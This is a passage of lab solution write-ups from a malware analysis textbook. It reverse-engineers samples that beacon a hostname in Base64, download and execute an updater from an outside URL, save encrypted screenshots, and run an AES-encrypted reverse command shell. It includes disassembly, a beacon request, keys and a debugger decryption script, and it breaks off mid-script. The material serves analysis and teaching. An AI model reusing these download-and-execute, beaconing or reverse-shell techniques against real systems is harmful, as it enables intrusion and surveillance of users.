The parameter at , szURL, is set to http://www.practicalmalwareanalysis
.com/updater.exe. At , the szFileName parameter is set to Dest (C:\Windows\
system32\wupdmgrd.exe). The malware is doing its own updating, downloading 
more malware! The downloaded updater.exe file will be saved to wupdmgrd.exe.

The malware compares the return value from URLDownloadToFileA with 0 to 
see if the function call failed. If the return value is not 0, the malware will 
execute the newly created file. The binary will then return and exit.
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Our analysis of the malware in this lab has introduced a common way 
that malware alters Windows functionality by disabling Windows File Protec-
tion. The malware in this lab trojanized the Windows Update process and 
created its own malware update routine. Users with this malware on their 
machine would see normal functionality because the malware did not com-
pletely destroy the original Windows Update binary. 

Lab 13-1 Solutions

Short Answers
1. Two strings appear in the beacon that are not present in the malware. 

(When the strings command is run, the strings are not output.) One is 
the domain, www.practicalmalwareanalysis.com. The other is the GET request 
path, which may look something like aG9zdG5hbWUtZm9v.

2. The xor instruction at 004011B8 leads to a single-byte XOR-encoding 
loop in sub_401190.

3. The single-byte XOR encoding uses the byte 0x3B. The raw data 
resource with index 101 is an XOR-encoded buffer that decodes to 
www.practicalmalwareanalysis.com.

4. The PEiD KANAL plug-in and the IDA Entropy Plugin can identify the 
use of the standard Base64 encoding string:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

5. Standard Base64 encoding is used to create the GET request string.

6. The Base64 encoding function starts at 0x004010B1.

7. Lab13-01.exe copies a maximum of 12 bytes from the hostname before 
Base64 encoding it, which makes the GET request string a maximum of 16 
characters.

8. Padding characters may be used if the hostname length is less than 12 
bytes and not evenly divisible by 3.

9. Lab13-01.exe sends a regular beacon with an encoded hostname until it 
receives a specific response. Then it quits.

Detailed Analysis
Let’s start by running Lab13-01.exe and monitoring its behavior. If you have a 
listening server set up (running ApateDNS and INetSim), you will notice that 
the malware beacons to www.practicalmalwareanalysis.com, with content similar 
to what is shown in Listing 13-1L.

GET /aG9zdG5hbWUtZm9v/ HTTP/1.1
User-Agent: Mozilla/4.0
Host: www.practicalmalwareanalysis.com

Listing 13-1L: Lab13-01.exe’s beacon 
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Looking at the strings, we see Mozilla/4.0, but the strings aG9zdG5hbWUtZm9v 
and www.practicalmalwareanalysis.com (bolded in Listing 13-1L) are not found. 
Therefore, we can assume that these strings might be encoded by the malware.

NOTE The aG9zdG5hbWUtZm9v string is based on the hostname, so you will likely have a differ-
ent string in your listing. Also, Windows networking libraries provide some elements of 
the network beacon, such as GET, HTTP/1.1, User-Agent, and Host. Thus, we don’t 
expect to find these elements in the malware itself.

Next, we use static analysis to search the malware for evidence of encod-
ing techniques. Searching for all instances of nonzeroing xor instructions 
in IDA Pro, we find three examples, but two of them (at 0x00402BE2 and 
0x00402BE6) are identified as library code, which is why the search window 
does not list the function names. This code can be ignored, leaving just the 
xor eax,3Bh instruction.

The xor eax,3Bh instruction is contained in sub_401190, as shown in 
Figure 13-1L.

Figure 13-1L: Single-byte XOR loop with 0x3B 
in sub_401190

Figure 13-1L contains a small loop that appears to increment a counter 
(var_4) and modify the contents of a buffer (arg_0) by XOR’ing the original 
contents with 0x3B. The other argument (arg_4) is the length of the buffer 
that should be XOR’ed. The simple function sub_401190, which we’ll rename 
xorEncode, implements a single-byte XOR encoding with the static byte 0x3B, 
taking the buffer and length as arguments.
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Next, let’s identify the content affected by xorEncode. The function 
sub_401300 is the only one that calls xorEncode. Tracing its code blocks that 
precede the call to xorEncode, we see (in order) calls to GetModuleHandleA, 
FindResourceA, SizeofResource, GlobalAlloc, LoadResource, and LockResource. The 
malware is doing something with a resource just prior to calling xorEncode. 
Of these resource-related functions, the function that will point us to the 
resource that we should investigate is FindResourceA. 

Listing 13-2L shows the FindResourceA function at .

push    0Ah             ; lpType 
push    101             ; lpName
mov     eax, [ebp+hModule]
push    eax             ; hModule
call    ds:FindResourceA 
mov     [ebp+hResInfo], eax
cmp     [ebp+hResInfo], 0
jnz     short loc_401357

Listing 13-2L: Call to FindResourceA

IDA Pro has labeled the parameters for us. The lpType is 0xA, which desig-
nates the resource data as application-defined, or raw data. The lpName parame-
ter can be either a name or an index number. In this case, it is an index 
number. Since the function references a resource with an ID of 101, we look 
up the resource in the PE file with PEview and find an RCDATA resource 
with the index of 101 (0x65), with a resource 32 bytes long at offset 0x7060. 
We open the executable in WinHex and highlight bytes 7060 through 7080. 
Then we choose EditModify Data, select XOR, and enter 3B. Figure 13-2L 
shows the result. 

Figure 13-2L: Resource obfuscated with single-byte XOR encoding

The top portion of Figure 13-2L shows the original version of the 
data, and the bottom portion shows the effect of applying XOR with 0x3B 
to each byte. The figure clearly shows that the resource stores the string 
www.practicalmalwareanalysis.com in encoded form.

Of the two strings that we suspected might be encoded, we’ve found the 
domain, but not the GET request string (aG9zdG5hbWUtZm9v in our example). To 
find the GET string, we’ll use PEiD’s KANAL plug-in, which identifies a Base64 
table at 0x004050E8. Listing 13-3L shows the output of the KANAL plug-in.
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BASE64 table :: 000050E8 :: 004050E8 
      Referenced at 00401013
      Referenced at 0040103E
      Referenced at 0040106E
      Referenced at 00401097

Listing 13-3L: PEiD KANAL output 

Navigating to this Base64 table, we see that it is the standard Base64 
string: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/. This 
string has four cross-references in IDA Pro, all in one function that starts at 
0x00401000, so we’ll refer to this function as base64index. Figure 13-3L shows 
one of the code blocks in this function.

Figure 13-3L: Base64 padding

As you can see, a fork references an = character in the box on the right 
side of Figure 13-3L. This supports the conclusion that base64index is related 
to Base64 encoding, because = is used for padding in Base64 encoding. 

The function that calls base64index is the real base64_encode function 
located at 0x004010B1. Its purpose is to divide the source string into a 3-byte 
block, and to pass each to base64index to encode the 3 bytes into a 4-byte one. 
Some of the clues that make this apparent are the use of strlen at the begin-
ning of the function to find the length of the source string, the comparison 
with the number 3 (cmp [ebp+var_14], 3) at the start of the outer loop (code 
block loc_401100), and the comparison with the number 4 (cmp [ebp+var_14], 4) 
at the start of the inner write loop that occurs after base64index has returned 
results. We conclude that base64_encode is the main Base64-encoding function 
that takes as arguments a source string and destination buffer to perform 
Base64 translation.

Using IDA Pro, we find that there is only one cross-reference to 
base64_encode (0x004000B1), which is in a function at 0x004011C9 that we 
will refer to as beacon. The call to base64_encode is shown in Listing 13-4L at .

004011FA         lea     edx, [ebp+hostname]
00401200         push    edx                     ; name
00401201         call    gethostname 
00401206         mov     [ebp+var_4], eax
00401209         push    12                    ; Count
0040120B         lea     eax, [ebp+hostname]
00401211         push    eax                     ; Source
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00401212         lea     ecx, [ebp+Src]
00401215         push    ecx                     ; Dest
00401216         call    strncpy 
0040121B         add     esp, 0Ch
0040121E         mov     [ebp+var_C], 0
00401222         lea     edx, [ebp+Dst]
00401225         push    edx                     ; int
00401226         lea     eax, [ebp+Src]
00401229         push    eax                     ; Str
0040122A         call    base64_encode 
0040122F         add     esp, 8
00401232         mov     byte ptr [ebp+var_23+3], 0
00401236         lea     ecx, [ebp+Dst]
00401239         push    ecx
0040123A         mov     edx, [ebp+arg_0]
0040123D         push    edx
0040123E         push    offset aHttpSS          ; http://%s/%s/ 
00401243         lea     eax, [ebp+szUrl]
00401249         push    eax                     ; Dest
0040124A         call    sprintf

Listing 13-4L: Identifying Base64 encoding in a URL 

Looking at the destination string that is passed to base64_encode, we see 
that it is pushed onto the stack as the fourth argument to sprintf at . Specif-
ically, the second string in the format string http://%s/%s/ at  is the path of 
the URI. This is consistent with the beacon string we identified earlier as 
aG9zdG5hbWUtZm9v.

Next, we follow the source string passed to base64_encode and see that it 
is the output of the strncpy function located at , and that the input to the 
strncpy function is the output of a call to gethostname at . Thus, we know that 
the source of the encoded URI path is the hostname. The strncpy function 
copies only the first 12 bytes of the hostname, as seen at . 

NOTE The Base64 string that represents the encoding of the hostname will never be longer 
than 16 characters because 12 characters × 4/3 expansion for Base64 = 16. It is still 
possible to see the = character as padding at the end of the string, but this will occur 
only when the hostname is less than 12 characters and the length of the hostname is not 
evenly divisible by 3.

Looking at the remaining code in beacon, we see that it uses WinINet 
(InternetOpenA, InternetOpenUrlA, and InternetReadFile) to open and read the 
URL composed in Listing 13-4L. The first character of the returned data is 
compared with the letter o. If the first character is o, then beacon returns 1; 
otherwise, it returns 0. The main function is composed of a single loop with 
calls to Sleep and beacon. When beacon (0x004011C9) returns true (by getting 
a web response starting with o), the loop exits and the program ends.

To summarize, this malware is a beacon to let the attacker know that 
it is running. The malware sends out a regular beacon with an encoded 
(and possibly truncated) hostname identifier, and when it receives a spe-
cific response, it terminates.
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Lab 13-2 Solutions

Short Answers
1. Lab13-02.exe creates large, seemingly random files in its current directory 

with names that start with temp and end with eight hexadecimal digits 
that vary for each file.

2. The XOR search technique identifies potential encoding-related func-
tions at sub_401570 and sub_401739. The other three techniques suggested 
find nothing.

3. The encoding functions might be found just before the call to WriteFile.

4. The encoding function is sub_40181F.

5. The source content is a screen capture.

6. The algorithm is nonstandard and not easily determined, so the easiest 
way to decode traffic is via instrumentation.

7. See the detailed analysis for how to recover the original source of an 
encoded file.

Detailed Analysis
We launch the malware and see that it creates new files at a regular interval 
in its current directory. These files are fairly large (multiple megabytes) and 
contain seemingly random data with filenames that start with temp and end 
with some random-looking characters, something like the ones shown in 
Listing 13-5L.

temp062da212
temp062dcb25
temp062df572
temp062e1f50
temp062e491f

Listing 13-5L: Example filenames created by Lab13-02.exe

Next, we search the malware for evidence of encoding techniques using 
static analysis. The PEiD KANAL plug-in, FindCrypt2 plug-in for IDA Pro, 
and IDA Entropy Plugin fail to find anything of interest. However, a search 
for xor instructions yields the results shown in Table 13-1L.

Table 13-1L: The xor Instructions Found in Lab13-02.exe

Address Function Instruction

00401040 sub_401000 xor     eax, eax 

004012D6 sub_40128D  xor     eax, [ebp+var_10]

0040171F  xor     eax, [esi+edx*4] 

0040176F sub_401739  xor     edx, [ecx]       

0040177A sub_401739 xor     edx, ecx         
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The instructions labeled  in Table 13-1L represent the clearing of a 
register and can be ignored. The instructions labeled  are contained in 
library functions and can also be ignored. We are left with two functions of 
interest: sub_40128D  and sub_401739 . Additionally, at 0x0040171F is in an 
area of code  that has not been defined as a function.

a function, but the function was not automatically identified due to lack of 
use. Defining a function at 0x00401570 results in the creation of a function 
that encompasses the previously orphaned xor instruction. As seen in Fig-
ure 13-4L, this unused function is also related to the same cluster of likely 
encoding functions.

To confirm that heavy_xor is the encoding function, let’s see how it is 
related to the temp files that were written to disk. We can find where the data 
is written to disk, and then trace backward to determine if and how encoding 
functions are used. Looking at the imported functions, we see WriteFile. 

Checking the cross-references to WriteFile, we find sub_401000, which 
takes as arguments a buffer, a length, and a filename, and opens the file and 

00401785 sub_401739 xor     edx, ecx         

00401795 sub_401739 xor     eax, [edx+8]     

004017A1 sub_401739 xor     eax, edx         

004017AC sub_401739 xor     eax, edx         

004017BD sub_401739 xor     ecx, [eax+10h]   

004017C9 sub_401739 xor     ecx, eax         

004017D4 sub_401739 xor     ecx, eax         

004017E5 sub_401739 xor     edx, [ecx+18h]   

004017F1 sub_401739 xor     edx, ecx          

004017FC sub_401739 xor     edx, ecx         

0040191E _main xor     eax, eax 

0040311A xor     dh, [eax] 

0040311E xor     [eax], dh 

00403688 xor     ecx, ecx 

004036A5 xor     edx, edx 

We’ll refer to sub_401739 as heavy_xor since 
it has so many xor instructions, and sub_40128D 
as single_xor since it has only one. heavy_xor 
takes four arguments, and it is a single loop 
with a large block of code containing many 
SHL and SHR instructions in addition to the xor 
instructions. Looking at the functions called 
by heavy_xor, we see that single_xor is related to 
heavy_xor since the caller of single_xor is also 
called by heavy_xor, as shown in Figure 13-4L.

Looking at the xor instruction at  in 
Table 13-1L (0x0040171F), we see that it is in 

Figure 13-4L: Relationship of 
encryption functions

Table 13-1L: The xor Instructions Found in Lab13-02.exe (continued)

Address Function Instruction
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writes the buffer to the file. We’ll rename sub_401000 to writeBufferToFile. 
sub_401851 is the only function that calls writeBufferToFile, and Listing 13-6L 
shows the contents of sub_401851 (which we rename doStuffAndWriteFile), lead-
ing up to the call to writeBufferToFile at . 

lea     eax, [ebp+nNumberOfBytesToWrite]
push    eax
lea     ecx, [ebp+lpBuffer]
push    ecx
call    sub_401070    ; renamed to getContent
add     esp, 8
mov     edx, [ebp+nNumberOfBytesToWrite]
push    edx
mov     eax, [ebp+lpBuffer]
push    eax
call    sub_40181F    ; renamed to encodingWrapper
add     esp, 8
call    ds:GetTickCount 
mov     [ebp+var_4], eax
mov     ecx, [ebp+var_4]
push    ecx
push    offset Format   ; "temp%08x" 
lea     edx, [ebp+FileName]
push    edx             ; Dest
call    _sprintf
add     esp, 0Ch
lea     eax, [ebp+FileName] 
push    eax             ; lpFileName
mov     ecx, [ebp+nNumberOfBytesToWrite]
push    ecx             ; nNumberOfBytesToWrite
mov     edx, [ebp+lpBuffer]
push    edx             ; lpBuffer
call    writeBufferToFile 

Listing 13-6L: Writing encrypted files

Working from the start of Listing 13-6L, we see two function calls to 
sub_401070 at  and sub_40181F at  that both use the buffer and length as 
arguments. The format string "temp%08x" at  combined with the result of 
GetTickCount at  reveals the source of the filename, which is the current time 
printed in hexadecimal. IDA Pro has labeled the filename, as indicated at . 
From the code in Listing 13-6L, a good hypothesis is that sub_401070 at  is 
used to fetch some content (let’s call it getContent), and that sub_40181F at  
is used to encrypt the contents (which we’ll rename encodingWrapper).

Looking first at our hypothesized encoding function encodingWrapper (at 
0x0040181F), we see that it is merely a wrapper for heavy_xor. This confirms that 
the functions depicted in Figure 13-4L are our encoding functions. The func-
tion encodingWrapper sets up four arguments for the encoding: a local variable 
that is cleared before use, two pointers both pointing to the same buffer that 
is passed in from doStuffAndWriteFile, and a buffer size that is also passed in 
from doStuffAndWriteFile. The two pointers pointing to the same buffer 
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suggest that the encoding function takes source and destination buffers along 
with a length, and that, in this case, the encoding is performed in place.

Next, we identify the source of the content that is encoded and written 
to disk. As we mentioned earlier, the function getContent (at 0x00401070) 
appears to acquire some content. Looking at getContent, we see a single block 
of code with numerous system functions, as shown in Listing 13-7L.

GetSystemMetrics
GetDesktopWindow
GetDC
CreateCompatibleDC
CreateCompatibleBitmap
SelectObject
BitBlt
GetObjectA
GlobalAlloc
GlobalLock
GetDIBits
_memcpy
GlobalUnlock
GlobalFree
ReleaseDC
DeleteDC
DeleteObject

Listing 13-7L: Windows API functions called in getContent (sub_401070) 

Based on this list, it is a good guess that this function is trying to capture 
the screen. Notably, GetDesktopWindow (bolded) gets a handle to the desktop 
window that covers the entire screen, and the functions BitBlt and GetDIBits 
(also bolded) are related to retrieving bitmap information and copying it to 
a buffer.

We conclude that the malware repeatedly takes snapshots of the user’s 
desktop and writes an encrypted version of the screen capture to a file.

In order to verify our conclusion, we can take one of the captured files, 
run it back through the encryption algorithm, and retrieve the originally 
captured image. (This assumes that the algorithm is a stream cipher and that 
encryption is reversible; that is, encryption and decryption do the same thing). 
Since we have few clues about the algorithm used, the easiest way to imple-
ment this is to use instrumentation and let the code perform the decoding 
for us.

Since the code already has instructions that take a buffer, encrypt it, and 
then write it to a file, we’ll reuse them as follows:

 Let the program run as normal until just before encryption.

 Replace the buffer holding the screen capture with a buffer holding a 
previously saved file that we wish to decrypt.

 Let the program write the output to the temporary filename based on 
the current time.

 Break the program after the first file is written.
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We can implement this strategy manually using OllyDbg or use a script-
based approach to provide more flexibility. We’ll look at the manual approach 
first.

Decoding Using OllyDbg

We can implement the instrumentation strategy using OllyDbg by identifying 
two key breakpoints. The first will be just before encoding, so we can use 
0x00401880 as the breakpoint, where the call to encodingWrapper occurs ( in 
Listing 13-6L). The second breakpoint will be after the first file is written, so 
we set it at 0x0040190A. 

After starting the malware with OllyDbg, setting the breakpoints, 
and running the program, the malware will stop at the first breakpoint 
(0x00401880). At this point, the arguments on the stack represent the 
buffer to be encrypted and its length. 

Right-click the top value on the stack in the stack pane (the value located 
at ESP) and select Follow in Dump. Next, open one of the encrypted files 
that the malware created in WinHex and select EditCopy AllHex Values. 
Then, in OllyDbg, select the values from the top of the dump pane to the 
end of the memory block (OllyDbg requires the entire target area to be 
selected before allowing you to paste content). This selection represents 
the buffer that is about to be encoded, which we will now fill with the con-
tents of the file. (Don’t worry if the memory block is longer than the buffer 
size; OllyDbg will paste the content only up to the length of the file.)

Now right-click the Hex dump portion of the dump pane and select Binary
Binary Paste. (If you’re using an editor that allows you to copy binary values 
directly, paste into the ASCII portion of the dump pane instead.) With the 
buffer prepared, run OllyDbg until the final breakpoint, and then check the 
malware’s directory for a new file with the same naming convention as the 
previously created ones. Give this file a .bmp extension and open it. You 
should see a screenshot that was taken while the malware was running. 

NOTE Ensure that the file size is the same as that of the second argument passed to the encryp-
tion function. If you didn’t change the screen resolution between the initial malware 
run and this decryption run, the sizes should be the same. If the file size is larger than 
the memory buffer, this technique may fail.

Scripting the Solution

In order to implement the instrumentation strategy more generically (in a 
way that does not depend on available buffer sizes), we use the Python-based 
debugger API in Immunity Debugger (ImmDbg), as discussed in “Scriptable 
Debugging” on page 200, as well as in Chapter 13. We create the Python 
script shown in Listing 13-8L by saving the file with a .py extension in the 
PyScripts folder under the ImmDbg installation directory. 

NOTE Customize the example filename (C:\\temp062da212) opened and assigned to cfile 
at  in Listing 13-8L based on your environment.
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#!/usr/bin/env python

import immlib
def main(): 
    imm = immlib.Debugger()
    imm.setBreakpoint(0x00401875)             # break just before pushing args for encoding
    imm.Run()                                 # Execute until breakpoint before crypto
    cfile = open("C:\\temp062da212",'rb') 
    buffer = cfile.read()                     # Read encrypted file into buffer
    sz = len (buffer)
    membuf = imm.remoteVirtualAlloc(sz)  # Allocate memory within debugger process
    imm.writeMemory(membuf,buffer)
    regs = imm.getRegs()
    imm.writeLong(regs['EBP']-12, membuf)   # Set stack variables
    imm.writeLong(regs['EBP']-8, sz)
    imm.setBreakpoint(0x0040190A)             # after single loop
    imm.Run()

Listing 13-8L: ImmDbg decryption script 

As you can see in Listing 13-8L, the first breakpoint stops execution just 
before the arguments are pushed on the stack. The open call at  opens the 
encrypted file that has already been written to the filesystem. The next few 
lines read the file into memory and calculate the size of the buffer. The 
remoteVirtualAlloc call at  is used to create an appropriately sized buffer in 
the memory of the running process, and writeMemory is used to copy the file 
contents into that new buffer. The two writeLong calls at  replace the stack 
variables for the buffer to be encrypted and its size. The next few instructions 
push those variables onto the stack to be used for the following encryption 
routine and the writing of the file.

Open the malware in ImmDbg, choose ImmLibRun Python Script, 
and then select the script that has been created. The script should run, and 
the debugger should halt at the second breakpoint. At this point, the mal-
ware should have written a single file in its own directory. Navigate to the 
malware’s directory and identify the most recently written file. Change the 
extension of this file to .bmp and open it. You should see the decrypted 
screenshot that was taken earlier by the malware.

Lab 13-3 Solutions

Short Answers
1. Dynamic analysis might reveal some random-looking content that may 

be encoded. There are no recognizable strings in the program output, so 
nothing else suggests encoding.

2. Searching for xor instructions reveals six separate functions that may be 
associated with encoding, but the type of encoding is not immediately 
clear.
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3. All three techniques identify the Advanced Encryption Standard (AES) 
algorithm (Rijndael algorithm), which is associated with all six of the 
XOR functions identified. The IDA Entropy Plugin also identifies a cus-
tom Base64 indexing string, which shows no evidence of association with 
xor instructions.

4. The malware uses AES and a custom Base64 cipher.

5. The key for AES is ijklmnopqrstuvwx. The key for the custom Base64 
cipher is the index string:

CDEFGHIJKLMNOPQRSTUVWXYZABcdefghijklmnopqrstuvwxyzab0123456789+/

6. The index string is sufficient for the custom Base64 implementation. For 
AES, variables other than the key may be needed to implement decryp-
tion, including the key-generation algorithm if one is used, the key size, 
the mode of operation, and the initialization vector if one is needed.

7. The malware establishes a reverse command shell with the incoming 
commands decoded using the custom Base64 cipher and the outgoing 
command-shell responses encrypted with AES.

8. See the detailed analysis for an example of how to decrypt content.

Detailed Analysis
Starting with basic dynamic analysis, we see that the malware tries to resolve 
the domain name www.practicalmalwareanalysis.com and connect out on TCP 
port 8910 to that host. We use Netcat to send some content over the connec-
tion, and see the malware respond with some random content, but not with 
any recognizable strings. If we then terminate the socket from the Netcat 
side, we see a message like this:

ERROR: API    = ReadConsole.
   error code = 0.
   message    = The operation completed successfully.

Examining the output of strings, we see evidence related to all of the 
strings we have seen so far: www.practicalmalwareanalysis.com, ERROR: API    = 
%s., error code = %d., message    = %s., and ReadConsole. There are other rele-
vant strings, like WriteConsole and DuplicateHandle, which may be part of error 
messages like the preceding ReadConsole error.

The random content seen during dynamic analysis suggests that encod-
ing is being used, although we can’t tell what is encoded. Certain strings sug-
gest that the malware performs encryption, including Data not multiple of 
Block Size, Empty key, Incorrect key length, and Incorrect block length.

Examining the xor instructions and eliminating those associated with 
register clearing and library functions, we find six that contain xor. Given the 
large number of identified functions, let’s just label them for now and see 
how they correspond with the additional techniques we will apply. Table 13-2L 
summarizes how we rename the IDA Pro function names.
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Using the FindCrypt2 plug-in for IDA Pro, we find the constants shown 
in Listing 13-9L.

40CB08: found const array Rijndael_Te0 (used in Rijndael)
40CF08: found const array Rijndael_Te1 (used in Rijndael)
40D308: found const array Rijndael_Te2 (used in Rijndael)
40D708: found const array Rijndael_Te3 (used in Rijndael)
40DB08: found const array Rijndael_Td0 (used in Rijndael)
40DF08: found const array Rijndael_Td1 (used in Rijndael)
40E308: found const array Rijndael_Td2 (used in Rijndael)
40E708: found const array Rijndael_Td3 (used in Rijndael)
Found 8 known constant arrays in total.

Listing 13-9L: FindCrypt2 output 

Listing 13-9L refers to Rijndael, the original name of the AES cipher. 
After looking at the cross-references, it is clear that s_xor2 and s_xor4 are 
connected with the encryption constants (_TeX), and s_xor3 and s_xor5 
are connected with the decryption constants (_TdX).

The PEiD KANAL plug-in reveals AES constants in a similar location. 
Listing 13-10L shows the output of the PEiD tool. PEiD’s identification of S 
and S-inv refer to the S-box structures that are a basic component of some 
cryptographic algorithms.

RIJNDAEL [S] [char] :: 0000C908 :: 0040C908
RIJNDAEL [S-inv] [char] :: 0000CA08 :: 0040CA08

Listing 13-10L: PEiD KANAL output

Finally, the IDA Entropy Plugin shows areas of high entropy. First, an 
examination of regions of high 8-bit entropy (256-bit chunk size with a 
minimum entropy value of 7.9) highlights the area between 0x0040C900 
and 0x0040CB00—the same area previously identified as S-box regions. 
Looking at regions of high 6-bit entropy (64-bit chunk size with a minimum 
entropy value of 5.95), we also find an area within the .data section between 
0x004120A3 and 0x004120A7, as shown in Figure 13-5L.

Table 13-2L: Functions Containing Suspect xor Instructions 

Assigned Function Name Address of Function

s_xor1 00401AC2

s_xor2 0040223A

s_xor3 004027ED

s_xor4 00402DA8

s_xor5 00403166

s_xor6 00403990
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Figure 13-5L: IDA Entropy Plugin high 6-bit 
entropy findings

Looking at the high entropy areas shown in Figure 13-5L, we see a string 
starting at 0x004120A4 that contains all 64 Base64 characters:

CDEFGHIJKLMNOPQRSTUVWXYZABcdefghijklmnopqrstuvwxyzab0123456789+/

Notice that this is not the standard Base64 string, because the capital AB 
and the lowercase ab have been moved to the back of their uppercase or lower-
case sections. This malware may use a custom Base64-encoding algorithm. 

Let’s review the relationship between the XOR-related functions we identi-
fied and other information we have collected. From the location of the Rijn-
dael constants we’ve identified, it is clear that the s_xor2 and s_xor4 functions 
are related to AES encryption, and that the s_xor3 and s_xor5 functions are 
related to AES decryption.

The code inside the s_xor6 function is shown in Figure 13-6L.

Figure 13-6L: XOR encoding loop in s_xor6

�

�

�

�
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The loop in Figure 13-6L contains the xor instruction at  that shows 
that s_xor6 is being used for XOR encoding. The variable arg_0 is a pointer to 
a source buffer that is being transformed, and arg_4 points to the buffer pro-
viding the XOR material. As the loop is followed, pointers to the two buffers 
(arg_0 and arg_4), as well as the counter var_4, are updated as shown by the 
three references at .

To determine if s_xor6 is related to the other encoding functions, 
we examine its cross-references. The function that calls s_xor6 starts at 
0x0040352D. Figure 13-7L shows a graph of the function cross-references 
from 0x0040352D.

Figure 13-7L: Relationship of encryption functions

From this graph, we see that s_xor6 is indeed related to the other AES 
encryption functions s_xor2 and s_xor4. 

Although we have evidence that s_xor3 and s_xor5 are related to AES 
decryption, the relationship of these two functions to other functions is less 
clear. For example, when we look for the cross-reference to s_xor5, we see that 
the two locations from which s_xor5 is called (0x004037EE and 0x0040392D) 
appear to contain valid code, but the area is not defined as a function. This 
suggests that while AES code was linked to the malware, decryption is not used, 
and thus the decryption routines show up initially as dead code. 

Having identified the function from which s_xor5 is called (0x00403745) 
as a decryption function, we re-create a graph that shows all of the functions 
called from 0x00403745 (which we rename s_AES_decrypt) and 0x0040352D 
(which we rename s_AES_encrypt), as shown in Figure 13-8L. 

Figure 13-8L: Relationship of XOR functions to AES
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This graph shows more clearly the relationship among all of the AES 
functions, and in it we can see that all XOR functions other than s_xor1 are 
related to the AES implementation.

Looking at s_xor1, we see several early branches in the code that occur 
when the arguments are incorrect, and luckily the malware still has the error 
messages present. These error messages include Empty key, Incorrect key length, 
and Incorrect block length, implying that this is the key initialization code.

To confirm that we’ve identified the key initialization code, we can try 
to find a connection between this function and the previously identified 
AES functions. Looking at the calling function for s_xor1, we see that just 
before s_xor1 is called, there is a reference to unk_412EF8. This offset is passed 
to the s_xor1 function using ECX. Looking at other references to unk_412EF8, 
we find that 0x401429 is one of the places that the offset of unk_412EF8 is 
loaded into ECX, just before the call to s_AES_encrypt. The address unk_412EF8 
must be a C++ object representing the AES encryptor, and s_xor1 is the ini-
tialization function for that encryptor.

Looking back at s_xor1, we see that the Empty key message is issued after a 
test of the arg_0 parameter. From this, we can assume that the arg_0 parame-
ter is the key. Looking at the parameter setup in main near the call to s_xor1 
(at 0x401895), we can associate arg_0 with the string ijklmnopqrstuvwx, which is 
pushed on the stack. This string is the key used for AES in this malware.

Here’s a review of what we know about how AES is used in this malware:

 s_AES_encrypt is used in the function at 0x0040132B. The encryption 
occurs between a call to ReadFile and a call to WriteFile.

 s_xor1 is the AES initialization function that occurs once at the start of 
the process.

 s_xor1 sets the AES password as ijklmnopqrstuvwx.

In addition to AES, we identified the possible use of a custom Base64 
cipher with the use of the IDA Entropy Plugin (indicated in Figure 13-5L). 
Examining the references to the string CDEFGHIJKLMNOPQRSTUVWXYZABcdefghijkl
mnopqrstuvwxyzab0123456789+/, we learn that this string is in the function at 
0x0040103F. This function does the indexed lookup into the string, and the 
calling function (at 0x00401082) divides the string to be decoded into 4-byte 
chunks. The function at 0x00401082 then is the custom Base64 decode func-
tion, and we can see in the function that calls it (0x0040147C) that the decode 
function lies in between a ReadFile and a WriteFile. This is the same pattern 
we saw for the use of AES, but in a different function.

Before we can decrypt content, we need to determine the connection 
between the content and encoding algorithm. As we know, the AES encryp-
tion function is used by the function starting at 0x0040132B. Looking at the 
function that calls the function at 0x0040132B in Listing 13-11L, we see that 
0x0040132B is the start of a new thread created with the CreateThread shown 
at , so we rename 0x0040132B to aes_thread. 
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00401823                 mov     eax, [ebp+var_18]
00401826                 mov     [ebp+var_58], eax 
00401829                 mov     ecx, [ebp+arg_10]
0040182C                 mov     [ebp+var_54], ecx 
0040182F                 mov     edx, dword_41336C
00401835                 mov     [ebp+var_50], edx 
00401838                 lea     eax, [ebp+var_3C]
0040183B                 push    eax               ; lpThreadId
0040183C                 push    0                 ; dwCreationFlags
0040183E                 lea     ecx, [ebp+var_58]
00401841                 push    ecx               ; lpParameter
00401842                 push    offset aes_thread ; lpStartAddress
00401847                 push    0                 ; dwStackSize
00401849                 push    0                 ; lpThreadAttributes
0040184B                 call    ds:CreateThread 

Listing 13-11L: Parameters to CreateThread for aes_thread 

The parameters to the thread start function are passed as the location of 
var_58, and we see three variables pushed onto the stack relative to var_58 as 
follows:

 var_18 is moved to var_58 at .

 arg_10 is moved to var_54 at .

 dword_41336C is moved to var_50 at .

In aes_thread (0x40132B), we see how the parameters are used. Listing 13-
12L shows select portions of aes_thread with calls to ReadFile and WriteFile, and 
the origin of the handles passed to those functions.

0040137A         mov     eax, [ebp+arg_0]
0040137D         mov     [ebp+var_BE0], eax
...
004013A2         mov     ecx, [ebp+var_BE0]
004013A8         mov     edx, [ecx]
004013AA         push    edx             ; hFile
004013AB         call    ds:ReadFile
...
0040144A         mov     eax, [ebp+var_BE0]
00401450         mov     ecx, [eax+4]
00401453         push    ecx             ; hFile
00401454         call    ds:WriteFile

Listing 13-12L: Handles passed to ReadFile and WriteFile in aes_thread 

The value pushed for ReadFile at  can be mapped back to var_58/var_18, 
as shown in Listing 13-11L at . The value pushed for WriteFile in Listing 13-
12L at  can be mapped back to var_54/arg_10, as shown in Listing 13-11L 
at .
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Tracing the handle values back to their origin, we find first that var_58 
and var_18 hold a handle to a pipe that is created early in the function at 
0x0040132B, and that this pipe is connected with the output of a command 
shell. The command hSourceHandle is copied to the standard output and stan-
dard error of the command shell started by the CreateProcess command at 
0x0040177B, as shown in Listing 13-13L.

00401748                 mov     ecx, [ebp+hSourceHandle]
0040174B                 mov     [ebp+StartupInfo.hStdOutput], ecx
0040174E                 mov     edx, [ebp+hSourceHandle]
00401751                 mov     [ebp+StartupInfo.hStdError], edx

Listing 13-13L: Connecting a pipe to shell output 

The other handle used by WriteFile in aes_thread (var_54/arg_10) can be 
traced to the parameter passed in from the _main function (0x00401879)—a 
networking socket created with the connect call. 

The aes_thread (0x0040132B) function reads the output of the launched 
command shell and encrypts it before writing it to the network socket.

The custom Base64-encoding function (0x00401082) is also used in 
a function (0x0040147C) that is started via its own thread. The tracing of 
inputs is very similar to the tracing of the inputs for the AES thread, with 
a mirror image conclusion: The Base64 thread reads as input the remote 
socket, and after it decodes the function, it sends the result to the input of 
the command shell.

Modified Base64 Decoding

Having established the two types of encoding in this malware, let’s try to 
decrypt the content. Beginning with the custom Base64 encoding, we’ll 
assume that part of the captured network communication coming from the 
remote site is the string: BInaEi==. Listing 13-14L shows a custom script for 
decrypting modified Base64 implementations.

import string
import base64

s = ""
